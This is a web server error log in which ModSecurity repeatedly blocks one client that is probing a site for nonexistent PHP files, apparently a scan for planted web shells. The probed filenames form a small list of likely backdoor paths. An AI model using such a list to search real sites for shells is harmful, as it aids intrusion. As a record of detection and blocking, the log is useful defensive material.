[Fri Apr 17 06:24:28.298012 2026] [:error] [pid 9263:tid 9276] [client 20.91.253.196:12172] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/albrt.php"] [unique_id "aeFhnBP68VyHNvj1e54T4wAAAMs"]
[Fri Apr 17 06:24:29.249452 2026] [:error] [pid 9263:tid 9289] [client 20.91.253.196:12279] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/albrt.php"] [unique_id "aeFhnRP68VyHNvj1e54T9AAAANg"]
[Fri Apr 17 06:24:30.288629 2026] [:error] [pid 51878:tid 51887] [client 20.91.253.196:12285] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/albrt.php"] [unique_id "aeFhnknQhUtMbw9EsgaRUQAAAQc"]
[Fri Apr 17 06:24:31.341775 2026] [:error] [pid 9152:tid 9209] [client 20.91.253.196:12168] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeFhn5JYca8I3TNCwIce-AAAAFM"]
[Fri Apr 17 06:24:32.705026 2026] [:error] [pid 9151:tid 9175] [client 20.91.253.196:12268] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeFhoMhTVuRPkua22vSp8AAAAA4"]
[Fri Apr 17 06:24:33.828880 2026] [:error] [pid 51878:tid 51883] [client 20.91.253.196:12101] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeFhoUnQhUtMbw9EsgaRcwAAAQM"]
[Fri Apr 17 06:24:35.116108 2026] [:error] [pid 51878:tid 51891] [client 20.91.253.196:12280] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeFho0nQhUtMbw9EsgaRgwAAAQs"]
[Fri Apr 17 06:24:36.461103 2026] [:error] [pid 9263:tid 9280] [client 20.91.253.196:12174] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7logs.php"] [unique_id "aeFhpBP68VyHNvj1e54UIwAAAM8"]
[Fri Apr 17 06:24:38.778334 2026] [:error] [pid 9263:tid 9273] [client 20.91.253.196:12193] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7logs.php"] [unique_id "aeFhphP68VyHNvj1e54ULwAAAMg"]
[Fri Apr 17 06:24:41.605557 2026] [:error] [pid 9153:tid 9230] [client 20.91.253.196:12180] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7logs.php"] [unique_id "aeFhqeMHGxkTZX3c45cUNwAAAIw"]
[Fri Apr 17 06:24:42.775530 2026] [:error] [pid 51878:tid 51900] [client 20.91.253.196:12212] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7logs.php"] [unique_id "aeFhqknQhUtMbw9EsgaR9AAAARQ"]
[Fri Apr 17 06:24:46.051425 2026] [:error] [pid 9152:tid 9213] [client 20.91.253.196:12253] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acc.php"] [unique_id "aeFhrpJYca8I3TNCwIcfPAAAAFc"]
[Fri Apr 17 06:24:47.742843 2026] [:error] [pid 9153:tid 9241] [client 20.91.253.196:12201] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acc.php"] [unique_id "aeFhr-MHGxkTZX3c45cUVAAAAJc"]
[Fri Apr 17 06:24:49.955242 2026] [:error] [pid 51878:tid 51904] [client 20.91.253.196:12238] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acc.php"] [unique_id "aeFhsUnQhUtMbw9EsgaSTQAAARg"]
[Fri Apr 17 06:24:51.548272 2026] [:error] [pid 9263:tid 9284] [client 20.91.253.196:12188] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acc.php"] [unique_id "aeFhsxP68VyHNvj1e54UegAAANM"]
[Fri Apr 17 06:24:54.050953 2026] [:error] [pid 9151:tid 9163] [client 20.91.253.196:12262] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wxeyc.php"] [unique_id "aeFhtshTVuRPkua22vSqKQAAAAI"]
[Fri Apr 17 06:24:56.227250 2026] [:error] [pid 9152:tid 9212] [client 20.91.253.196:12225] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wxeyc.php"] [unique_id "aeFhuJJYca8I3TNCwIcfWQAAAFY"]
[Fri Apr 17 06:24:57.755013 2026] [:error] [pid 9151:tid 9171] [client 20.91.253.196:12190] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wxeyc.php"] [unique_id "aeFhuchTVuRPkua22vSqMgAAAAo"]
[Fri Apr 17 06:25:01.790419 2026] [:error] [pid 51878:tid 51885] [client 20.91.253.196:12187] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wxeyc.php"] [unique_id "aeFhvUnQhUtMbw9EsgaSuAAAAQU"]
[Fri Apr 17 06:25:03.852810 2026] [:error] [pid 9153:tid 9237] [client 20.91.253.196:12148] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeFhv-MHGxkTZX3c45cUrAAAAJM"]
[Fri Apr 17 06:25:08.799875 2026] [:error] [pid 9153:tid 9226] [client 20.91.253.196:12246] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeFhxOMHGxkTZX3c45cUtAAAAIg"]
[Fri Apr 17 06:25:10.264289 2026] [:error] [pid 9151:tid 9180] [client 20.91.253.196:12198] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeFhxshTVuRPkua22vSqTAAAABM"]
[Fri Apr 17 06:25:11.176871 2026] [:error] [pid 9263:tid 9281] [client 20.91.253.196:12170] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeFhxxP68VyHNvj1e54VLgAAANA"]
[Fri Apr 17 06:25:11.788742 2026] [:error] [pid 51878:tid 51900] [client 20.91.253.196:12163] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeFhx0nQhUtMbw9EsgaS3wAAARQ"]
[Fri Apr 17 06:25:12.595800 2026] [:error] [pid 9153:tid 9228] [client 20.91.253.196:12122] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeFhyOMHGxkTZX3c45cUzwAAAIo"]
[Fri Apr 17 06:25:13.456733 2026] [:error] [pid 9151:tid 9178] [client 20.91.253.196:12111] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeFhychTVuRPkua22vSqXQAAABE"]
[Fri Apr 17 06:25:14.087300 2026] [:error] [pid 9151:tid 9185] [client 20.91.253.196:12231] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeFhyshTVuRPkua22vSqYAAAABg"]
[Fri Apr 17 06:25:14.655784 2026] [:error] [pid 9151:tid 9169] [client 20.91.253.196:12107] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fyflv.php"] [unique_id "aeFhyshTVuRPkua22vSqZQAAAAg"]
[Fri Apr 17 06:25:15.278949 2026] [:error] [pid 51878:tid 51882] [client 20.91.253.196:12178] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fyflv.php"] [unique_id "aeFhy0nQhUtMbw9EsgaS4gAAAQI"]
[Fri Apr 17 06:25:16.182742 2026] [:error] [pid 51878:tid 51880] [client 20.91.253.196:12277] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fyflv.php"] [unique_id "aeFhzEnQhUtMbw9EsgaS6wAAAQA"]
[Fri Apr 17 06:25:16.844435 2026] [:error] [pid 51878:tid 51891] [client 20.91.253.196:12199] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fyflv.php"] [unique_id "aeFhzEnQhUtMbw9EsgaS7QAAAQs"]
[Fri Apr 17 06:25:17.613980 2026] [proxy_fcgi:error] [pid 9153:tid 9231] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:17.904314 2026] [proxy_fcgi:error] [pid 9153:tid 9219] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:18.194620 2026] [proxy_fcgi:error] [pid 9153:tid 9221] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:18.485974 2026] [proxy_fcgi:error] [pid 9153:tid 9239] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:18.779166 2026] [proxy_fcgi:error] [pid 9153:tid 9220] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:19.075512 2026] [proxy_fcgi:error] [pid 9153:tid 9240] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:19.367108 2026] [proxy_fcgi:error] [pid 9153:tid 9238] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:19.658686 2026] [proxy_fcgi:error] [pid 9153:tid 9236] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:19.954995 2026] [proxy_fcgi:error] [pid 9153:tid 9241] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:20.245517 2026] [proxy_fcgi:error] [pid 9153:tid 9226] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:20.565774 2026] [proxy_fcgi:error] [pid 9153:tid 9223] [client 20.91.253.196:12096] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:25:20.973932 2026] [:error] [pid 9153:tid 9232] [client 20.91.253.196:12096] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "aeFh0OMHGxkTZX3c45cVAgAAAI4"]
[Fri Apr 17 06:25:21.700430 2026] [:error] [pid 9263:tid 9282] [client 20.91.253.196:12240] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "aeFh0RP68VyHNvj1e54VbQAAANE"]
[Fri Apr 17 06:25:22.600872 2026] [:error] [pid 9152:tid 9192] [client 20.91.253.196:12221] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "aeFh0pJYca8I3TNCwIcfsAAAAEI"]
[Fri Apr 17 06:25:23.276743 2026] [:error] [pid 9151:tid 9181] [client 20.91.253.196:12176] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "aeFh08hTVuRPkua22vSqeAAAABQ"]
[Fri Apr 17 06:25:24.699096 2026] [:error] [pid 9153:tid 9220] [client 20.91.253.196:12109] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iindv.php"] [unique_id "aeFh1OMHGxkTZX3c45cVCwAAAII"]
[Fri Apr 17 06:25:25.490902 2026] [:error] [pid 51878:tid 51886] [client 20.91.253.196:12228] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iindv.php"] [unique_id "aeFh1UnQhUtMbw9EsgaTHAAAAQY"]
[Fri Apr 17 06:25:27.118165 2026] [:error] [pid 51878:tid 51895] [client 20.91.253.196:12171] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iindv.php"] [unique_id "aeFh10nQhUtMbw9EsgaTNQAAAQ8"]
[Fri Apr 17 06:25:29.515040 2026] [:error] [pid 9263:tid 9284] [client 20.91.253.196:12142] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iindv.php"] [unique_id "aeFh2RP68VyHNvj1e54VhgAAANM"]
[Fri Apr 17 06:25:30.739040 2026] [:error] [pid 9153:tid 9218] [client 20.91.253.196:12270] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/maintura.php"] [unique_id "aeFh2uMHGxkTZX3c45cVGAAAAIA"]
[Fri Apr 17 06:25:31.529850 2026] [:error] [pid 9151:tid 9180] [client 20.91.253.196:12191] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/maintura.php"] [unique_id "aeFh28hTVuRPkua22vSqhAAAABM"]
[Fri Apr 17 06:25:33.002110 2026] [:error] [pid 51878:tid 51882] [client 20.91.253.196:12232] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/maintura.php"] [unique_id "aeFh3UnQhUtMbw9EsgaThAAAAQI"]
[Fri Apr 17 06:25:34.173979 2026] [:error] [pid 9263:tid 9265] [client 20.91.253.196:12204] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/maintura.php"] [unique_id "aeFh3hP68VyHNvj1e54VmgAAAMA"]
[Fri Apr 17 06:25:36.763379 2026] [:error] [pid 9152:tid 9199] [client 20.91.253.196:12256] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeFh4JJYca8I3TNCwIcf1QAAAEk"]
[Fri Apr 17 06:25:43.130268 2026] [:error] [pid 51878:tid 51881] [client 20.91.253.196:12115] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeFh50nQhUtMbw9EsgaT9gAAAQE"]
[Fri Apr 17 06:25:45.137504 2026] [:error] [pid 51878:tid 51899] [client 20.91.253.196:12146] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeFh6UnQhUtMbw9EsgaUHQAAARM"]
[Fri Apr 17 06:25:47.064739 2026] [:error] [pid 9263:tid 9286] [client 20.91.253.196:12229] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeFh6xP68VyHNvj1e54V2QAAANU"]
[Fri Apr 17 06:25:49.929580 2026] [:error] [pid 51878:tid 51903] [client 20.91.253.196:12234] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeFh7UnQhUtMbw9EsgaUTwAAARc"]
[Fri Apr 17 06:25:52.827649 2026] [:error] [pid 9263:tid 9269] [client 20.91.253.196:12273] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeFh8BP68VyHNvj1e54WDQAAAMQ"]
[Fri Apr 17 06:25:55.164312 2026] [:error] [pid 9153:tid 9239] [client 20.91.253.196:12160] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeFh8-MHGxkTZX3c45cVSgAAAJU"]
[Fri Apr 17 06:25:56.214899 2026] [:error] [pid 9151:tid 9164] [client 20.91.253.196:12128] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeFh9MhTVuRPkua22vSqwQAAAAM"]
[Fri Apr 17 06:25:56.900952 2026] [:error] [pid 51878:tid 51892] [client 20.91.253.196:12206] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zc-220.php"] [unique_id "aeFh9EnQhUtMbw9EsgaUggAAAQw"]
